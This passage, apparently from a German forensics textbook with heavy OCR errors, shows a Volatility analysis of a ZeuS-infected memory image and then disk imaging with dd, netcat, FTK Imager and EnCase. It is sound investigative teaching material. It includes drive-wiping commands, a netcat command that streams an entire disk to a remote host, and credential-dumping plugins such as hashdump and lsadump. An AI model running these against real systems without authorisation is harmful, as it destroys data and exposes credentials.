Sysinternals wurde das Tool NotMyFault*3 entwickelt, das den Regis-
try-Eintrag und den entsprechenden Tastaturbefehl simuliert, ohne
dass die Einstellungen vorgenommen werden miissen.

7.23  Analyse des Hauptspeichers mit Volatility

Volatility ist ein sehr leistungsstarkes und unter IT-Forensikspezialis-
ten weit verbreitetes Werkzeug fiir die Analyse von Hauptspeicherin-
halten. Das in Python geschriebene Open-Source-Programm ist durch
Module erweiterbar und ermoglicht dadurch die Analyse von Haupt-
speicherinhalten von Windows-, Linux-, Mac- und Android-Systemen.
Es gibt lauffahige Binardateien fiir Windows oder die auf allen Python-
fahigen Systemen ausfiihrbaren Python-Skripte.

Volatility kann RAW Memory Dumps analysieren, aber auch sou-
verdn mit Crash Dumps, VMware Dumps (.vmem) und Virtual Box
Dumps umgehen. Volatility ist auf vielen Forensic-Live-CDs enthalten,
kann aber auch direkt installiert oder stand-alone gestartet werden*:

apihooks Detect API hooks in process and kernel memory
atoms Print session and window station atom tables
atomscan Pool scanner for _RTL_ATOM_TABLE
bioskbd Reads the keyboard buffer from Real Mode memory
callbacks Print system-wide notification routines
clipboard Extract the contents of the windows clipboard
cmdscan Extract command history by scanning for _.COMMAND_HISTORY
connections Print list of open connections [Windows XP and 2003 Only]
connscan Scan Physicgl memory for _TCPT_OBJECT objects
(tcp connections)
consoles Extract command history by scanning for
_CONSOLE_INFORMATION

23. http:/lcomputer-forensik.org/2dl=notmyfault.zip
24. https://code.google.com/plvolatility/downloads/list
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crashinfo Dump crash-dump information
deskscan Poolscaner for tagDESKTOP (desktops)
devicetree Show device tree
d17dump Dump DLLs from a process address space
d1174st Print list of loaded dlls for each process
driverirp Driver IRP hook detection

driverscan Scan for driver objects _DRIVER_OBJECT

dumpcerts Dump RSA private and public SSL keys

dumpfiles Extract memory mapped and cached files

envars Display process environment variables

eventhooks Print details on windows event hooks

evtlogs Extract Windows Event Logs (XP/2003 only)

filescan Scan Physical memory for _FILE_OBJECT pool allocations
gahti Dump the USER handle type information

gditimers Print installed GDI timers and callbacks

gdt Display Global Descriptor Table

getservicesids | Get the names of services in the Registry and return Calculated SID
getsids Print the SIDs owning each process

handles Print list of open handles for each process

hashdump Dumps passwords hashes (LM/NTLM) from memory
hibinfo Dump hibernation file information

hivedump Prints out a hive

hivelist Print list of registry hives.

hivescan Scan Physical memory for _CMHIVE objects (registry hives)

hpakextract Extract physical memory from an HPAK file

hpakinfo Info on an HPAK file

idt Display Interrupt Descriptor Table

iehistory Reconstruct Internet Explorer cache/history

imagecopy Copies a physical address space out as a raw DD image
imageinfo Identify information for the image

impscan Scan for calls to imported functions

kdbgscan Search for and dump potential KDBG values

kpcrscan Search for and dump potential KPCR values

Tdrmodules Detect unlinked DLLs

1sadump Dump (decrypted) LSA secrets from the registry

machoinfo Dump Mach-O file format information
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malfind Find hidden and injected code
mbrparser Scans for and parses potential Master Boot Records (MBRs)
memdump Dump the addressable memory for a process
memmap Print the memory map

messagehooks | List desktop and thread window message hooks

mftparser Scans for and parses potential MFT entries

moddump Dump a kernel driver to an executable file sample

modscan Scan Physical memory for _LDR_DATA_TABLE_ENTRY objects
modules Print list of loaded modules

mutantscan Scan for mutant objects _KMUTANT

patcher Patches memory based on page scans

printkey Print a registry key, and its subkeys and values

privs Display process privileges

procexedump Dump a process to an executable file sample

procmemdump Dump a process to an executable memory sample

pslist Print all running processes by following the EPROCESS lists
psscan Scan Physical memory for _LEPROCESS pool allocations
pstree Print process list as a tree

psxview Find hidden processes with various process listings

raw2dmp Converts a physical memory sample to a windbg crash dump
screenshot Save a pseudo-screenshot based on GDI windows

sessions List details on _MM_SESSION_SPACE (user logon sessions)
shellbags Prints ShellBags info

shimcache Parses the Application Compatibility Shim Cache registry key
sockets Print list of open sockets

Scan Physical memory for _ADDRESS_OBJECT objects

sockscan (tcp sockets)

ssdt Display SSDT entries

strings Match physical offsets to virtual addresses (may take a while, VERY
verbose)

svescan Scan for Windows services

symlinkscan Scan for symbolic link objects

thrdscan Scan physical memory for _ETHREAD objects
threads Investigate _ETHREAD and _KTHREADs
timeliner Creates a timeline from various artifacts in memory

timers Print kernel timers and associated module DPCs
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unloaded- Print list of unloaded modules
modules
userassist Print userassist registry keys and information

userhandles Dump the USER handle tables

vaddump Dumps out the vad sections to a file

vadinfo Dump the VAD info

vadtree Walk the VAD tree and display in tree format
vadwalk Walk the VAD tree

vboxinfo Dump virtualbox information

vmwareinfo Dump VMware VMSS/VMSN information

volshell Shell in the memory image

windows Print Desktop Windows (verbose details)

wintree Print Z-Order Desktop Windows Tree

wndscan Pool scanner for tag WINDOWSTATION (window stations)
yarascan Scan process or kernel memory with Yara signatures

Die komplette und ausfihrliche Funktionsbeschreibung der Module findet sich unter
https://code.google.com/p/volatility/wiki/CommandReference

Der Blick auf die Vielfalt der bereits mitgelieferten Volatility-Plugins
lasst erahnen, warum dieses Framework das Mittel der Wahl bei der
Open-Source-Hauptspeicheranalyse ist. Sehr viele Analysehandlungen
auf der Suche nach Malware lassen sich damit vornehmen. Zur besse-
ren Veranschaulichung der Arbeit mit Volatility wurde im folgenden
Abschnitt das im Internet® fiir Trainingszwecke zur Verfiigung
gestellte Hauptspeicherimage eines mit dem Banking-Trojaner ZeuS2®
infizierten Systems verwendet. Der hier beschriebene Weg ist nur ein
Beispielweg, um die Infektion zu bestitigen. Es lassen sich sicherlich
noch weitere Ansitze finden, um die Infektion schnell zu bestitigen.

Als Erstes lassen wir uns die verfiigbaren Informationen iiber das
System ausgeben, von dem der Hauptspeicherdump stammt. Dies ist
wichtig, da die Struktur des Hauptspeichers naturlich betriebssystem-
und architekturabhingig ist.

25. Webseite der Autoren des »Malware Analyst’s Cookbook«
http:/lwww.malwarecookbook.com/
Download-URL des Images: hitp://malwarecookbook.googlecode.com/
sun-history/r26/trunk/17/1/zeus.vmem.zip

26. http:/len.wikipedia.orglwiki/Zeus_(Trojan_horse)
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volatility-2.3.1.standalone.exe -f zeus.vmem
Volatility Foundation Volatility Framework 2.3.1
Determining profile based on KDBG search...

Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
AS Layerl : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (Z:\Forensics\vola\zeus.vmem)
PAE type : PAE
DTB : 0x319000L
KDBG : 0x80544ce0L
Number of Processors : 1
Image Type (Service Pack) : 2
KPCR for CPU 0 : Oxffdff0oOOL
KUSER _SHARED DATA : Oxffdf0000L
Image date and time : 2010-08-15 19:17:56 UTC+0000
Image local date and time : 2010-08-15 15:17:56 -0400

Es handelt sich in diesem Fall um ein X86-Windows-XP-System mit
installiertem Service Pack 2.

Im nichsten Schritt lassen wir uns eine Liste der Prozesse anzeigen,
die wihrend der Erstellung des Hauptspeicherdumps aktiv waren:

volatility-2.3.1.standalone.exe -f zeus.vmem pslist
Volatility Foundation Volatility Framework 2.3.1
0ffset(V) Name PID PPID Thds Hnds  Sess Wow64 Start Exit
0x810b1660 System 4 0 58 379 ------ 0
0xff2ab020 smss.exe 544 4 3 21 ------ 0 2010-08-11 06:06:21 UTC+0000
0xfflecdal csrss.exe 608 544 10 410 0 0 2010-08-11 06:06:23 UTC+0000
0xfflec978 winlogon.exe 632 544 24 536 0 0 2010-08-11 06:06:23 UTC+0000
0xff247020 services.exe 676 632 16 288 0 0 2010-08-11 06:06:24 UTC+0000
0xff255020 1sass.exe 688 632 21 405 0 0 2010-08-11 06:06:24 UTC+0000
0xff218230 vmacthlp.exe 844 676 1 37 0 0 2010-08-11 06:06:24 UTC+0000
0x80ff88d8 svchost.exe 856 676 29 336 0 0 2010-08-11 06:06:24 UTC+0000
0xff217560 svchost.exe 936 676 11 288 0 0 2010-08-11 06:06:24 UTC+0000
0x80fbf910 svchost.exe 1028 676 88 1424 0 0 2010-08-11 06:06:24 UTC+0000
0xff22d558 svchost.exe 1088 676 7 93 0 0 2010-08-11 06:06:25 UTC+0000
0xff203b80 svchost.exe 1148 676 15 217 0 0 2010-08-11 06:06:26 UTC+0000
0xffld7da0 spoolsv.exe 1432 676 14 145 0 0 2010-08-11 06:06:26 UTC+0000
0xff1b8b28 vmtoolsd.exe 1668 676 5 225 0 0 2010-08-11 06:06:35 UTC+0000
0xff1fdc88 VMUpgradeHelper 1788 676 5 112 0 0 2010-08-11 06:06:38 UTC+0000
0xff143b28 TPAutoConnSvc.e 1968 676 5 106 0 0 2010-08-11 06:06:39 UTC+0000
0xff25a7e0 alg.exe 216 676 8 120 0 0 2010-08-11 06:06:39 UTC+0000
0xff364310 wscntfy.exe 888 1028 1 40 0 0 2010-08-11 06:06:49 UTC+0000
0xff38b5f8 TPAutoConnect.e 1084 1968 1 68 0 0 2010-08-11 06:06:52 UTC+0000
0x80f60da0 wuauclt.exe 1732 1028 7 189 0 0 2010-08-11 06:07:44 UTC+0000
0xff3865d0 explorer.exe 1724 1708 13 326 0 0 2010-08-11 06:09:29 UTC+0000
0xff3667e8 VMwareTray.exe 432 1724 1 60 0 0 2010-08-11 06:09:31 UTC+0000
0xff374980 VMwareUser.exe 452 1724 8 207 0 0 2010-08-11 06:09:32 UTC+0000
0x80194588 wuauclt.exe 468 1028 4 142 0 0 2010-08-11 06:09:37 UTC+0000
0xff224020 cmd.exe 124 1668 0 -------- 0 0 2010-08-15 19:17:55 UTC+0000
2010-08-15 19:17:56
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Da diese Ubersicht auf den ersten Blick nichts Auffilliges zeigt,
schauen wir uns die zum Zeitpunkt der Dumperstellung offenen Netz-
werkverbindugen an:

zvolatility-2.3.1.standalone.exe -f zeus.vmem connscan

Volatility Foundation Volatility Framework 2.3.1

Offset(P) Local Address Remote Address Pid
0x02214988 172.16.176.143:1054 193.104.41.75:80 856
0x06015ab0 0.0.0.0:1056 193.104.41.75:80 856

Hier sind zwei interessante Erkenntnisse zu gewinnen. Zum einen fin-
det sich hier eine Netzwerkverbindung zu einem WWW-Port von einer
Prozess-ID — ndmlich 856 —, die in der vorherigen Analyse auf keinen
Webbrowser deuten lidsst. Zum anderen ergibt eine Whois-Abfrage
mittels whois 193.104.41.75, dass sich die IP-Adresse vermutlich in Ost-
europa befindet.

Wie in Abschnitt 5.7 ausgiebig erldutert wird, ist die Windows-
Registry eine reichhaltige Fundgrube fir jeden Forensiker. Teile der
Registry-Hives werden zur Laufzeit im Windows-Hauptspeicher ge-
halten und lassen sich folgerichtig dann auch im Hauptspeicherdump
analysieren. Als Erstes suchen wir, an welcher Stelle im Dump welche
Hives aufzufinden sind, um dann dort gezielt nach den forensisch rele-
vanten Keys zu suchen:

volatility-2.3.1.standalone.exe -f zeus.vmem hivelist

Volatility Foundation Volatility Framework 2.3.1

Virtual Physical  Name

0xel1c49008 0x036dc008 \Device\HarddiskVolumel\Documents and Settings\LocalService\Local
Settings\Application Data\Microsoft\Windows\UsrClass.dat

0Oxelc41b60 0x04010b60 \Device\HarddiskVolumel\Documents and Settings\LocalService\NTUSER.DAT
0xela39638 0x021eb638 \Device\HarddiskVolumel\Documents and Settings\NetworkService\Local
Settings\Application Data\Microsoft\Windows\UsrClass.dat

0xela33008 0x01f98008 \Device\HarddiskVolumel\Documents and Settings\NetworkService\NTUSER.DAT
0xe153ab60 0x06b7db60 \Device\HarddiskVolumel\WINDOWS\system32\config\software

0xe1542008 0x06c48008 \Device\HarddiskVolumel\WINDOWS\system32\config\default

0xe1537b60 0x06ae4b60 \SystemRoot\System32\Config\SECURITY

0xe1544008 0x06c4b008 \Device\HarddiskVolumel\WINDOWS\system32\config\SAM

0Oxel13ae580 0x01bbd580 [no name]

0xe101b008 0x01867008 \Device\HarddiskVolumel\WINDOWS\system32\config\system

0xe1008978 0x01824978 [no name]

0Oxelel58c0 0x009728c0 \Device\HarddiskVolumel\Documents and Settings\Administrator\Local
Settings\Application Data\Microsoft\Windows\UsrClass.dat

0Oxelda4008 0x00f6e008 \Device\HarddiskVolumel\Documents and Settings\Administrator\NTUSER.DAT
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Jetzt kann man im nichsten Schritt z.B. die entsprechenden Registry-
Keys auswerten, die fur den automatischen Start von Prozessen ver-
wendet werden.?” Uns interessieren hierbei die Hives Software und

NTUSER.DAT.

Zwischenzeitlich lohnt sich auch ein Blick auf den Prozessbaum,
um sich die verdichtige Prozess-ID 856 naher anzuschauen. Dabei
sind Erkenntnisse moglich, wie die Malware in den Speicher gelangen

konnte:

volatility-2.3.1.standalone.exe -f zeus.vmem pstree

Volatility Foundation Volatility Framework 2.3.1
Name

0x810b1660:System
. 0xff2ab020:smss.exe
.. Oxfflec978:winlogon.exe
... 0xff255020:1sass.exe
... 0xff247020:services.exe
.... 0xff1b8hb28:vmtoolsd.exe
..... 0xff224020:cmd.exe

.. 0x80ff88d8:svchost.exe

... 0xffld7da0:spoolsv.exe
.... 0x80fbf910:svchost.exe
..... 0x80f60da0:wuauclt.exe
..... 0x80194588:wuauclt.exe
..... 0xff364310:wscntfy.exe
... 0xff217560:svchost.exe
.... 0xff143b28:TPAutoConnSvc.e
..... 0xff38b5f8: TPAutoConnect.e
... 0xff22d558:svchost.exe

... 0xff218230:vmacthlp.exe
... 0xff25a7e0:alg.exe

. 0xff203b80:svchost.exe

... Oxfflfdc88:VMUpgradeHelper
.. Oxfflecda0:csrss.exe
0xff3865d0:explorer.exe
. 0xff374980:VMwareUser.exe
. 0xff3667e8:VMwareTray.exe
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Zur weiteren Analyse wird nun die ausfiithrbare Datei der verdiachtigen
Prozess-ID extrahiert und einer Bindranalyse (siehe hierzu Abschnitt 5.13)

unterzogen:

volatility-2.3.1.standalone.exe -f zeus.vmem malfind —p 856 -D export-dir

27. Konfigurationsorte fiir automatisch startende Programme sind z.B. HKLM\ SOFT-

WARE\Microsoft\Windows\CurrentVersion\Run, RunOne, RunOnceEx, RunSer-
vices, RunServicesOnce, HKLM\SOFTWARE\Microsoft\Command Processor,
HKCU\Software\Microsoft\Command Processor. Ein komplette Ubersicht der
Autostart-Objekte zeigt das auf Seite 285 vorgestellte Tool » Autoruns«
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Bei der Bindranalyse der extrahierten Dateien zeigt sich mittlerweile,
dass es sich moglicherweise um den Banking-Trojaner ZeuS handelt.
Der einfachste Weg der Analyse zu delegieren, ohne selbst Hand anzu-
legen, ist sich auf virustotal.com (siehe Abschnitt 5.13) zu verlassen.
Dazu muss die verdachtige Malware allerdings bereits bei den AV-Her-
stellern »bekannt« sein:

;1 to tal Abb. 7-32

Virustotal zeigt die
SHAZSE BedbesdcbiaalsdbBidZaba 1 A3 0451 188 22eb2eBc 9T cBABI0d 11 ba 1 unterSCh’edhChen
File namé process OxBOSEBAR 0xb70000 dmp ﬂ »eigenen« Namen der
Ootoction rabe: 38148 &7 @ 1 AV-Hersteller, des unter
Analbysis date: 20140105 13-34:30 UTG 0 minutes ago ) dem Namen Zeu$S
bekannt gewordenen
= @ @ ® Banking-Trojaners an.
Antivines Result Updatis Die mit »malfind«
AVG 20140105 extrahierte Datei wurde
Addhwa e dort hochgeladen.
Agnitum 20140105
AhnLab V3 Worn /m32 IRCBat 20140105
AntiVir TR/Patched Ren Gen 20140105
Antiy-AVL Trojaniwin32 agent gen 20140104
Bocast Win32 2bet-BCW [Tr 20140105
Badu-International Trojan Win32 Zbot gen 231213
BitOetender Gen Vanart Graftor 22830 20140105
Bieav 20140105
CAT-QuickHeal 20140105
Commiouch 20140105
Comada TrojWase Win32 Spy Zbot ABW 20140108
E soft Gen Vanart Graftor 22830 (B) 20140105
F-Prot Zbot AG. genEldorado 20140105
F-Sacure Gan:Vadiart Graftor 22830 20140105

Bei diversen Antivirustool-Herstellern ist nachzulesen, dass ZeuS in
der Registry den Start der Datei sdra64.exe im Userinit-Prozess ver-
steckt und die lokale Firewall deaktiviert.

Folgende Untersuchungshandlungen bestitigen diesen Verdacht,
sodass man davon ausgehen kann, dass ZeuS zum Zeitpunkt der
Erstellung des Hauptspeicherdumps auf dem System aktiv war.

Mit dem Filehandle-Modul von Volatility kann man nach den im
Hauptspeicher gehaltenen Filehandles suchen:
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volatility-2.3.1.standalone.exe -f zeus.vmem filescan
Volatility Foundation Volatility Framework 2.3.1
0ffset (P) #Ptr  #Hnd Access Name

0x029d9b40 1 1 R----- \Device\HarddiskVolumel\WINDOWS\system32\sdra64.exe
0x029d9cf0 1 0 -WD--- \Device\HarddiskVolumel\WINDOWS\system32\sdra64.exe

Es zeigt sich mit diesem Analyseschritt also, dass sdra64.exe auf dem
System als Datei vorhanden ist, wiahrend im Registry-Key Winlogon
sdra64.exe mittels »,« als Startprozess an die Userinit-Konfiguration
angehiangt wurde, damit ZeuS nach jedem Systemstart automatisch in
den Speicher geladen wird:

volatility-2.3.1.standalone.exe -f zeus.vmem printkey -K "Mi
crosoft\Windows NT\CurrentVersion\Winlogon"

Volatile Systems Volatility Framework 2.3.1

Legend: (S) = Stable (V) = Volatile

Registry: \Device\HarddiskVolumel\WINDOWS\system32\config\software
Key name: Winlogon (S)

Last updated: 2010-08-15 19:17:23

Subkeys:

(S) GPExtensions

(S) Notify

(S) SpecialAccounts

(V) Credentials

Values:

REG_DWORD AutoRestartShell : (S) 1

REG_SZ DefaultDomainName : (S) BILLY-DB5B96DD3
REG_SZ DefaultUserName : (S) Administrator
REG SZ LegalNoticeCaption : (S)

REG_SZ LegalNoticeText : (S)

REG_SZ PowerdownAfterShutdown : (S) 0

REG_SZ ReportBootOk : (S) 1

REG_SZ Shell : (S) Explorer.exe

REG_SZ ShutdownWithoutLogon : (S) 0

REG SZ System : (S)

REG_SZ Userinit : (S) C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\
system32\sdra64.exe,

REG SZ VmApplet : (S) rund1132 shel132,Control RunDLL "sysdm.cpl"
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Das Auslesen des entsprechenden Registry-Keys zeigt, dass die Win-
dows-Firewall deaktiviert ist:

volatility-2.3.1.standalone.exe -f zeus.vmem printkey -K "Co
ntrolSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile"

Volatile Systems Volatility Framework 2.3.1

Legend: (S) = Stable (V) = Volatile

Registry: \Device\HarddiskVolumel\WINDOWS\system32\config\system
Key name: StandardProfile (S)

Last updated: 2010-08-15 19:17:24

Subkeys:
(S) AuthorizedApplications

Values:
REG_DWORD EnableFirewall : (S) 0

7.2.4 Forensische Duplikation

Mit den in Kapitel 6 beschriebenen Werkzeugen kénnen Sie schnell
und unproblematisch Festplatten-Images erzeugen. Im Folgenden wer-
den einige Beispiele vorgestellt.

Images mit den Forensic Acquisition Utilities erstellen

Die folgenden Beispiele zeigen die typischen Titigkeiten zum Erstellen
und Vorbereiten von Images mit den Forensic Acquisition Utilities. In
diesen Beispielen wird das Image auf das Laufwerk I:\ geschrieben.

Als Erstes werden mit dem in der Werkzeugsammlung enthaltenen
Tool volume_dump die Bezeichnungen der logischen und physischen
Volumes sowie Offset-Daten extrahiert: volume_dump.exe ohne Parame-
ter liefert alle Informationen des physischen Volumes.

volume_dump.exe \\.\D: liefert die Informationen von Laufwerk D:.

I:\forensic\FAU>volume_dump.exe \\.\d:\
I:\forensic\FAU\volume_dump.exe

Forensic Acquisition Utilities, 1, 3, 0, 2363
Volume Dump Utility, 1, 3, 0, 2363

Copyright (C) 2002-2007 George M. Garner Jr.

Befehlszeile: volume_dump.exe \\.\d:\

Microsoft Windows XP 5.1.2600 Uniprocessor Free(Service Pack 2,
2600.xpsp_sp2_gdr.070227-2254)

29.12.2007 23:35:52 (UTC)

30.12.2007 00:35:52 (Ortszeit)

Aktueller Benutzer: /Users/Alexander Geschonneck -

Laufwerke identifizieren
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Gebietsschema des aktuellen Benutzers: German_Germany.850
StandardmdBige Sprache des Benutzers: 0x0407
VolumenName: \\?\Volume{74c43all-e714-11d9-85d4-806d6172696f}
Gerdt: \Device\HarddiskVolume2
Volumenbezeichnung:
Mountpunkte:
D:\
Laufwerkstyp:  Fest
Volumenseriennummer: f44d-4477
Maximale Komponentenlénge: 255
Volumeneigenschaften:
Dateisystem bewahrt Setzkasten
Dateisystem ermdglicht case-sensitive Dateinamen
Dateisystem ermdglicht Unicode-Dateinamen
Dateisystem erhdlt und ermdglicht bestdndige ACL
Dateisystem ermdglicht named Streams
Dateisystem ermoglicht Verschliisselung
Dateisystem ermdglicht Objektbezeichner
Dateisystem ermdglicht reparse Points
Dateisystem ermdglicht Quotas
Dateisystem: NTFS
Eingehdngt: Ja
Geclustert: Nein
Volumeumfénge:
Datentrdgernummer: 0
Anfangsoffset: 0x00000004e2aaec00
Umfanglénge: 0x000000097a51ac00
NTFS Info:
Version des NTFS: 3.1
Volumenseriennummer: 0x32f44d7df44d4477
Anzahlsektoren: 0x0000000004bd28d5
Gesamtanzahl Cluster: 0x000000000097a51a
Freie Cluster: 0x00000000000cee37
Reserviert gesamt: 0x0000000000000000
BytesProSektor: 512
BytesProCluster: 4096
BytesProDateiDatensatzETement: 1024
ClusterProDateiDatensatzETement: 0
MftGii1tigeDatenLange: 0x00000000091¢4000
MftAnfangslcn: 0x00000000000c0000
Mft2Anfangslcn: 0x00000000004bd28d
Anfang der MFT-Zone: 0x0000000000148540
Ende der MFT-Zone: 0x000000000026e840
Journaldaten:
Das Datentrdgerdnderungsjournal ist nicht aktiviert.
29.12.2007 23:35:53 (UTC)
30.12.2007 00:35:53 (Ortszeit)

Abb. 7-33 Informationen (iber das logische Volume Laufwerk D:\

Mit Wipe konnen die Medien, die zum Speichern der forensischen
Images verwendet werden, vorher sicher und zuverldssig geloscht wer-
den. Es lassen sich auch einzelne Dateien loschen.
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wipe.exe \\.\D:
wipe.exe c:\temp\datei.txt
wipe.exe c:\temp\datei.*
wipe.exe c:\temp\date?.txt
wipe.exe \\.\Tape0 (16scht das gesamte Band)
Mittels dd wird die gesamte erste Festplatte bitweise nach
i:\forensic_images\ kopiert und mit einer MDS-Priifsumme versehen:
dd.exe if=\\.\PhysicalDrive0 of=i:\forensic_images\PhysicalDrive0.1img
--md5sum --verifymd5 --md5out=i:\forensic_images\PhysicalDrive0.img.md5
Mittels dd wird nur das bezeichnete Volume (hier \\?\Volume
{17cb51b2-59fb-11d6-b854-806d6172696f}; siehe volume dump.exe) bit-
weise nach i:\forensic_images\ kopiert und mit einer MDS-Priif-
summe versehen:
dd if= \\?\Volume{17cbh51b2-59fb-11d6-b854-806d61726967}
of=i:\forensic_images\e drive.img -md5sum —verifymd5
md5out=i:\forensic_images\PhysicalDrive0.img.md5
Mittels dd wird nur das Laufwerk D: (siehe volume_dump.exe) bit-
weise nach i:\forensic_images\ kopiert und mit einer MDS5-Prif-
summe versehen; das Ergebnis wird in eine Protokolldatei geschrieben:
dd.exe if=\\.\D: of=i:\forensic_images\d drive.img conv=noerror --sparse
--md5sum --verifymd5 -md5out=i:\forensic_images\d_drive.img.md5
--log=i:\forensic_images\d_drive.log
Mittels dd wird nur die Datei datei.txt.gz bitweise nach
i:\forensic_images\ kopiert, mit einer MDS5-Priifsumme versehen und
das Ergebnis in eine Protokolldatei geschrieben:
dd.exe if=datei.txt.gz of=i:\forensic_images\datei.txt conv=noerror,decomp
--md5sum --verifymd5 -md5out=1:\forensic_images\datei.txt.img.md5
--log=i:\forensic_images\datei.txt.log
Da wir es hier nicht mit einer integrierten Losung zu tun haben, muss
man die Priifsummen zum Schluss selbst erstellen und verifizieren. Mit
dem in der Toolsammlung enthaltenen Werkzeug mdSsum.exe wird
eine MDS5-Priifsumme des Laufwerks D: erstellt und in eine Datei
geschrieben:

md5sum.exe -0 d_drive.md5 \\.\D:
Mit der Option -c wird die bereits erstellte Priifsumme tiberpriift:
md5sum.exe -c d_drive.img.md5

Im Gegensatz zu anderen MDS-Implementierungen verfigt mdSsum
aus den Forensic Acquisition Utilities iiber leistungsfahige Filterfunkti-
onen. Mit dem folgenden Aufruf erstellt man Priifsummen von allen
nicht versteckten ausfithrbaren Dateien oder DLLs, die in ihrem Pfad-

dd

Priifsummen mit

md5sum
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Netcat

namen die Ausdriicke »Common«, »common«, »Microsoft« oder
»microsoft« enthalten und mit den Zeichenketten »ms« oder »vs«
beginnen:
md5sum.exe -v -r c:\*.exe;*.d11 —directoryfilter ".*([Cc]ommon|[Mm]icrosoft).+"
--filefilter "(ms|vs).*"
Der folgende Befehl erstellt Priifsummen von allen versteckten Dateien
im Laufwerk C:, die nicht read-only sind:

md5sum.exe -v -r -A h-r c:\*

Mochte man mit komprimierten Dateien arbeiten, muss die Option -z
angegeben werden:

md5sum.exe -d z1ib -c d_drive.img.gz.md5

Netcat nimmt Daten auf dem Analysesystem auf dem Port 8000 in
Empfang und schreibt diese in die Datei c_drive_image.img. Es wird ein
MDS-Priifsummencheck durchgefiihrt:

nc —v -n -1 —p 8000 —csum md5 --verify —sparse -0 c_drive image.img

Auf dem verdichtigen System wird die gesamte Festplatte C: via Net-
cat auf den Port 8000 des Analysesystems transportiert. Die MDS5-
Prufsummenerstellung ist aktiviert.

nc —v -n —csum md5 -I \\.\C: 10.0.0.1 8000

Images mit dem AccessData FTK Imager erstellen

Der Imager aus dem AccessData FTK (siehe Abschnitt 6.10) ermog-
licht ebenfalls die Erstellung von Datentriger-Images. Die Software
wird auf dem Analysesystem installiert und kann alle angeschlossenen
Datentriager duplizieren. Die erstellten Images konnen bei Bedarf kom-
primiert oder im dd-Format erstellt werden. Zusitzlich ist die Konver-
tierung in die von SMART oder EnCase verwendeten Dateiformate
moglich. Das Auslesen des Hauptspeichers des laufenden Systems ist
mit den neueren Versionen des FTK Imager ebenfalls moglich. Mochte
man kein Image erstellen, kann man auch lediglich das verdichtige
Medium mit dem Imager betrachten und die geloschten Dateien einse-
hen. Es ist dabei aber zu beachten, dass die analysierten Daten wahrend
des Vorgangs im Temp-Verzeichnis des Analysesystems zwischengespei-
chert werden und bei Bedarf die lokal verknupften Applikationen
gestartet werden konnten.
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o Abb. 7-34
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Mittlerweile ist man beim FTK Imager nicht mehr auf Windows ange-
wiesen. Seit Version 2.9 stellt der Hersteller eine Kommandozeilen-
Version fiir Mac OS (10.5 und 10.6), Windows und Linux (Debian,
Fedora und Ubuntu) zur Verfiigung. Hiermit lassen sich auch sehr gut
Imaging-Boot-CDs erstellen. Wer das herstellereigene AD-Format ver-
wendet, kann die Daten auch gleich verschliisseln.
e No Terminal — bash — 85x35 — %1 Abb. 7-35
Der freie FTK-Imager ist
Lindon, UT . .
neben Linux auch fiir
Mac OS verfiigbar und
AT o bietet dem Ermittler
Il be apper
viele Mdglichkeiten

beim Erstellen von
eigenen Skripten.

g-number
iption 3
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Images mit EnCase erstellen

Fur die Erstellung der Images kann auch EnCase verwendet werden.
Das Produkt wird mit einer Boot-Diskette ausgeliefert, die ein recht
robustes Imaging-Programm enthilt. Neben der Duplikation von logi-
schen Laufwerken konnen auch mit EnCase Kopien vom gesamten
physischen Datentrager angefertigt werden. EnCase lisst sich in einen
speziellen Server-Modus versetzen. Durch Einsatz der Boot-Diskette
oder des mitgelieferten Linux-Clients kann das Image auch tber ein
Netzwerk Ubertragen werden.

Abb. 7-36
Neben derbekannten EnCase(R) LinEn (6.12.8.21) Guidance Software, Inc (tm)
DOS-Variante ist seit Code Type Sectors Size||LP Label System Size
EnCase 5 ein Linux-Tool Diske /dev/sda Linux 67189616 Sectors
Size 32.8GB sdal /dev/sdal Linux 32.6GB
zurImage-Erstellung 89 07 NTFS 67087440  32.0GB
enthalten. Disk2 /fdev/scd® Linux 1427524 Sectors

Size 697.6MB
No Partitions Found

cquire Hash Server Licemse Ouit

7.2.5 Manuelle P.m.-Analyse der Images

Da sich einige Tools, z.B. das Sleuth Kit, auch in der Cygwin-Umge-
bung tibersetzen lassen bzw. auch als Windows-Version erhiltlich sind,
sind alle Tatigkeiten, die in Abschnitt 7.1.3 beschrieben wurden, grund-
satzlich auch unter Windows moglich. Dies kann fiir Notfille durch-
aus sinnvoll sein, ist aber in der tiaglichen Praxis nicht unbedingt emp-
fehlenswert. Architekturbedingt verlangsamt der zusatzliche Cygwin-
Layer die Analyse, gerade wenn Perl zum Einsatz kommt.
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E: -/sleuthkit-3.0.1 ﬂﬂﬂ

$ uname —a ] I
ICYGUIN_NT-5_1 Windows-UM 1.5.25¢B.156,/4/2> 2088-86-12 19:34 i686 Cygwin

¢ fsstat.exe —f linux—ext3 )cygd;{ue/ﬁ/femp/rh?Z_hacked.dd
ILE SYSTEM INFORMATION

Uolume ID: 45ha545h93872295d?113dh63ac3delh

[Last Upitten at: Sat Aug 9 23:34:26 2803
ast Checked at: Mon Jul 14 22:52:13 2883

ast Mounted at: Sat Aug 9 23:34:26 2683
UUnmounted properly
ast mounted on:

ource 08: Linux

Dynamic Structure

Compat Features: Journal,

InCompat Features: Filetype, MNeeds Recovery.
Read Only Gompat Features: Sparse Super.

ournal I1D: 6@
Journal Inode: 8

ETADATA INFORMATION

Inode Range: 1 —2117761

ree Inodes: 858

Orphan Inodes: 3187 45387, 46687, 46924, 46928, 46733, 45389, 45368, 46%16. 469
34, 46914, 46935,

umber of Block Group
147

7.2.6 P.m.-Analyse der Images mit dem AccessData FTK

Mit dem AccessData FTK konnen bereits mit dd erstellte Images analy-
siert werden. Das integrierte Case-Management erfasst alle wichtigen
Informationen fir die Verwaltung der Daten. Jedem Case konnen meh-
rere Beweisquellen zugeordnet werden. Ein Case kann sowohl aus dd-
Images als auch aus einzelnen Dateien bestehen. Ebenso konnen jeder-
zeit weitere physische Laufwerke hinzugefiigt werden. Von jeder
Beweisquelle wird wahrend des Einlesens ein Suchindex erstellt. Spatere
Suchvorgange (z.B. String-Analyse) werden dadurch erheblich beschleu-
nigt. Selbstverstindlich wird auf die Beweisquelle nur lesend zugegrif-
fen; beim Einlesen wird sie mit einer MD5-Priiffsumme versehen.

Abb. 7-37
Das Sleuth Kit unter
Windows (Cygwin)
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Abb. 7-38 x|
Einlesen eines vorher 5
erstellten Image oder Add Evidence
